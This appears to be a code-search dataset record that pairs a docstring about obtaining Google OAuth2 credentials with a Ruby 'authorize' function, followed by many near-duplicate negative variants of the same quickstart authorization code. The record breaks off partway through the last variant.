[ "0.668992", "0.6445191", "0.62971115", "0.61620724", "0.61620724", "0.61620724", "0.6070173", "0.6004642", "0.59994096", "0.59135616", "0.5874616", "0.58592874", "0.57553566", "0.5644016", "0.56031275", "0.55518633", "0.5517743", "0.5459609", "0.5449553", "0.5439518", "0.5410956", "0.5374642", "0.53716314", "0.53692096", "0.5363047", "0.5363047", "0.5361968", "0.5354545", "0.53471965", "0.53465134", "0.5337025", "0.53342026", "0.5332149", "0.53045624", "0.52376264", "0.5235339", "0.52331644", "0.51948285", "0.5193856", "0.5192945", "0.51821214", "0.5180783", "0.51789963", "0.5175134", "0.51743495", "0.5160163", "0.515926", "0.514129", "0.51319337", "0.51288664", "0.51155174", "0.5115055", "0.51098543", "0.51059175", "0.50972366", "0.5087391", "0.5076387", "0.5075514", "0.50678766", "0.5065772", "0.5064395", "0.5061783", "0.5060048", "0.50394917", "0.50387186", "0.50338244", "0.5027007", "0.5017343", "0.5013325", "0.50102717", "0.5005186", "0.5002756", "0.4998818", "0.49939132", "0.499344", "0.49860725", "0.4986042", "0.49855992", "0.49845538", "0.49763495", "0.4973174", "0.4972621", "0.49722463", "0.4968254", "0.49669155", "0.49576217", "0.4953927", "0.49527335", "0.4949238", "0.4946848", "0.49450037", "0.49383238", "0.4936037", "0.49346745", "0.49308953", "0.4928624", "0.49280417", "0.49183783", "0.4918159", "0.49176115" ]
0.61166674
6
Ensure valid credentials, either by restoring from the saved credentials files or intitiating an OAuth2 authorization. If authorization is required, the user's default browser will be launched to approve the request.
def authorize client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH) token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH) authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store) user_id = 'default' credentials = authorizer.get_credentials(user_id) if credentials.nil? url = authorizer.get_authorization_url(base_url: OOB_URI) puts 'Open the following URL in the browser and enter the ' \ "resulting code after authorization:\n" + url code = gets credentials = authorizer.get_and_store_credentials_from_code( user_id: user_id, code: code, base_url: OOB_URI ) end credentials end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def authorize\r\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\r\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\r\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\r\n user_id = \"default\"\r\n credentials = authorizer.get_credentials user_id\r\n\r\n # launch default browser to approve request of initial OAuth2 authorization\r\n if credentials.nil?\r\n url = authorizer.get_authorization_url base_url: OOB_URI\r\n puts \"Open the following URL in the browser and enter the resulting code after authorization:\\n\" + url\r\n code = gets\r\n credentials = authorizer.get_and_store_credentials_from_code(user_id: user_id, code: code, base_url: OOB_URI)\r\n end\r\n\r\n credentials\r\nend", "def authorize\n FileUtils.mkdir_p(File.dirname(@CREDENTIALS_PATH))\n\n file_store = Google::APIClient::FileStore.new(@CREDENTIALS_PATH)\n storage = Google::APIClient::Storage.new(file_store)\n auth = storage.authorize\n\n if auth.nil? || (auth.expired? && auth.refresh_token.nil?)\n app_info = Google::APIClient::ClientSecrets.load(@CLIENT_SECRETS_PATH)\n flow = Google::APIClient::InstalledAppFlow.new({\n :client_id => app_info.client_id,\n :client_secret => app_info.client_secret,\n :scope => @SCOPE})\n auth = flow.authorize(storage)\n puts \"Credentials saved to #{@CREDENTIALS_PATH}\" unless auth.nil?\n end\n auth\n end", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIAL))\n file_store = Google::APIClient::FileStore.new(CREDENTIAL)\n storage = Google::APIClient::Storage.new(file_store)\n auth = storage.authorize\n if auth.nil? || (auth.expired? && auth.refresh_token.nil?)\n app_info = Google::APIClient::ClientSecrets.load(CLIENT_SECRET)\n flow = Google::APIClient::InstalledAppFlow.new({\n :client_id => app_info.client_id,\n :client_secret => app_info.client_secret,\n :scope => SCOPE})\n auth = flow.authorize(storage)\n puts \"Credentials saved to #{CREDENTIAL}\" unless auth.nil?\n end\n auth\n end", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n credentials = authorizer.get_credentials('default')\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n\n server = WEBrick::HTTPServer.new(Port: 3000)\n server.mount_proc('/oauth2callback') do |req, res|\n code = req.query['code']\n credentials = authorizer.get_and_store_credentials_from_code(user_id: 'default', code: code, base_url: OOB_URI)\n res.body = 'Authorization successful. You can close this window and return to the terminal.'\n server.shutdown\n end\n\n warn('Open the following URL in your browser and authorize the app:')\n warn(url)\n server.start\n end\n credentials\nend", "def authorize interactive\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil? and interactive\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n code = ask(\"Open the following URL in the browser and enter the resulting code after authorization\\n\" + url)\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "def authorize\n FileUtils.mkdir_p(File.dirname(@CREDENTIALS_PATH))\n client_id = Google::Auth::ClientId.from_file(@CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: @CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, @SCOPE, token_store)\n\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: @OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: @OOB_URI)\n end\n credentials\n end", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n \n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\n end", "def find_or_prompt_for_credentials\n client_id = Google::Auth::ClientId.from_hash(CLIENT_SECRET_HASH)\n token_store = Google::Auth::Stores::RedisTokenStore.new(:prefix => REDIS_KEY_PREFIX)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization:\"\n puts url\n\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n\n credentials\n end", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n\n # changed SCOPE to SCOPES to pass in multiple OAUTH scopes\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPES, token_store)\n\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\n end", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' +\n 'resulting code after authorization'\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\n end", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n file_store = Google::APIClient::FileStore.new(CREDENTIALS_PATH)\n storage = Google::APIClient::Storage.new(file_store)\n auth = storage.authorize\n\n if auth.nil? || (auth.expired? && auth.refresh_token.nil?)\n app_info = Google::APIClient::ClientSecrets.load(CLIENT_SECRETS_PATH)\n flow = Google::APIClient::InstalledAppFlow.new({\n client_id: app_info.client_id,\n client_secret: app_info.client_secret,\n scope: SCOPE})\n auth = flow.authorize(storage)\n puts \"Credentials saved to #{CREDENTIALS_PATH}\" unless auth.nil?\n end\n auth\nend", "def authorize(interactive)\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store, '')\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil? && interactive\n url = authorizer.get_authorization_url(base_url: BASE_URI, scope: SCOPE)\n code = ask(\"Open the following URL in the browser and enter the resulting code after authorization\\n#{url}\")\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: BASE_URI\n )\n end\n credentials\nend", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n file_store = Google::APIClient::FileStore.new(CREDENTIALS_PATH)\n storage = Google::APIClient::Storage.new(file_store)\n auth = storage.authorize\n\n if auth.nil? || (auth.expired? && auth.refresh_token.nil?)\n app_info = Google::APIClient::ClientSecrets.load(CLIENT_SECRETS_PATH)\n flow = Google::APIClient::InstalledAppFlow.new({\n :client_id => app_info.client_id,\n :client_secret => app_info.client_secret,\n :scope => SCOPE})\n auth = flow.authorize(storage)\n puts \"Credentials saved to #{CREDENTIALS_PATH}\" unless auth.nil?\n end\n auth\nend", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n file_store = Google::APIClient::FileStore.new(CREDENTIALS_PATH)\n storage = Google::APIClient::Storage.new(file_store)\n auth = storage.authorize\n\n if auth.nil? || (auth.expired? && auth.refresh_token.nil?)\n app_info = Google::APIClient::ClientSecrets.load(CLIENT_SECRETS_PATH)\n flow = Google::APIClient::InstalledAppFlow.new({\n :client_id => app_info.client_id,\n :client_secret => app_info.client_secret,\n :scope => SCOPE})\n auth = flow.authorize(storage)\n end\n auth\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(self.credentials_path)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: self.token_path)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPES, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\n end", "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = ask \"code?: \"\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\n end", "def authorize\r\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\r\n\r\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\r\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\r\n authorizer = Google::Auth::UserAuthorizer.new(\r\n client_id, SCOPE, token_store)\r\n user_id = 'default'\r\n credentials = authorizer.get_credentials(user_id)\r\n if credentials.nil?\r\n url = authorizer.get_authorization_url(\r\n base_url: OOB_URI)\r\n puts \"Open the following URL in the browser and enter the \" +\r\n \"resulting code after authorization\"\r\n puts url\r\n code = gets\r\n credentials = authorizer.get_and_store_credentials_from_code(\r\n user_id: user_id, code: code, base_url: OOB_URI)\r\n end\r\n credentials\r\nend", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "def authorize\n\tFileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n\tclient_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n\ttoken_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n\tauthorizer = Google::Auth::UserAuthorizer.new(\n\t\tclient_id, SCOPE, token_store)\n\tuser_id = 'default'\n\tcredentials = authorizer.get_credentials(user_id)\n\tif credentials.nil?\n\t\turl = authorizer.get_authorization_url(\n\t\t\tbase_url: OOB_URI)\n\t\tputs \"Open the following URL in the browser and enter the \" +\n\t\t\"resulting code after authorization\"\n\t\tputs url\n\t\tcode = STDIN.gets\n\t\tcredentials = authorizer.get_and_store_credentials_from_code(\n\t\t\tuser_id: user_id, code: code, base_url: OOB_URI)\n\tend\n\tcredentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = $stdin.gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\n end", "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\n end", "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI,\n )\n end\n credentials\n end", "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = 'default'\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\n end", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \" +\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI)\n end\n credentials\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = $stdin.readline()\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\nend", "def authorize\r\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\r\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\r\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\r\n user_id = \"default\"\r\n credentials = authorizer.get_credentials user_id\r\n if credentials.nil?\r\n url = authorizer.get_authorization_url base_url: OOB_URI\r\n puts \"Open the following URL in the browser and enter the \" \\\r\n \"resulting code after authorization:\\n\" + url\r\n code = gets\r\n credentials = authorizer.get_and_store_credentials_from_code(\r\n user_id: user_id, code: code, base_url: OOB_URI\r\n )\r\n end\r\n credentials\r\nend", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n # client_id = Google::Auth::ClientId.from_hash(Rails.application.config.gdrive_secrets)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(\n client_id, SCOPE, token_store\n )\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(\n base_url: OOB_URI\n )\n puts 'Open the following URL in the browser and enter the ' \\\n 'resulting code after authorization'\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\n end", "def authorize\r\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\r\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\r\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\r\n user_id = 'default'\r\n credentials = authorizer.get_credentials(user_id)\r\n if credentials.nil?\r\n url = authorizer.get_authorization_url(base_url: OOB_URI)\r\n puts 'Open the following URL in the browser and enter the ' \\\r\n \"resulting code after authorization:\\n\" + url\r\n code = gets\r\n credentials = authorizer.get_and_store_credentials_from_code(\r\n user_id: user_id, code: code, base_url: OOB_URI\r\n )\r\n end\r\n credentials\r\nend", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPES, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\n end", "def authorize\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n\n credentials = authorizer.get_credentials(user_id)\n\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n\n credentials\n end", "def authorize\n FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.\n new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.\n new(client_id, SCOPE, token_store)\n credentials = authorizer.\n get_credentials(CONFIGURATION[\"calendar\"][\"user_id\"])\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts \"Open the following URL in the browser and enter the \"\\\n \"resulting code after authorization\"\n puts url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: CONFIGURATION[\"calendar\"][\"user_id\"],\n code: code,\n base_url: OOB_URI\n )\n end\n credentials\n end", "def authorize\n client_id = Google::Auth::ClientId.from_file(CREDENTIALS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: TOKEN_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n user_id = 'default'\n credentials = authorizer.get_credentials(user_id)\n if credentials.nil?\n url = authorizer.get_authorization_url(base_url: OOB_URI)\n puts 'Open the following URL in the browser and enter the ' \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI\n )\n end\n credentials\n end", "def authorize\n client_id = Google::Auth::ClientId.from_file CREDENTIALS_PATH\n token_store = Google::Auth::Stores::FileTokenStore.new file: TOKEN_PATH\n authorizer = Google::Auth::UserAuthorizer.new client_id, SCOPE, token_store\n user_id = \"default\"\n credentials = authorizer.get_credentials user_id\n if credentials.nil?\n url = authorizer.get_authorization_url base_url: OOB_URI\n puts \"Open the following URL in the browser and enter the \" \\\n \"resulting code after authorization:\\n\" + url\n code = gets\n credentials = authorizer.get_and_store_credentials_from_code(\n user_id: user_id, code: code, base_url: OOB_URI,\n )\n end\n credentials\nend", "def authorize\n ##FileUtils.mkdir_p(File.dirname(CREDENTIALS_PATH))\n\n if !File.exist?(CLIENT_SECRETS_PATH)\n puts \"Error: OAuth2認証用のsecretファイルが見つかりませんでした\"\n puts \"以下のURLからこのプロジェクト用のsecretを作成し、'client_secret.json'というファイル名でこのディレクトリに保存してください。\"\n puts\n puts \"https://console.developers.google.com/start/api?id=sheets.googleapis.com\"\n exit 1\n end\n\n client_id = Google::Auth::ClientId.from_file(CLIENT_SECRETS_PATH)\n token_store = Google::Auth::Stores::FileTokenStore.new(file: CREDENTIALS_PATH)\n authorizer = Google::Auth::UserAuthorizer.new(client_id, SCOPE, token_store)\n 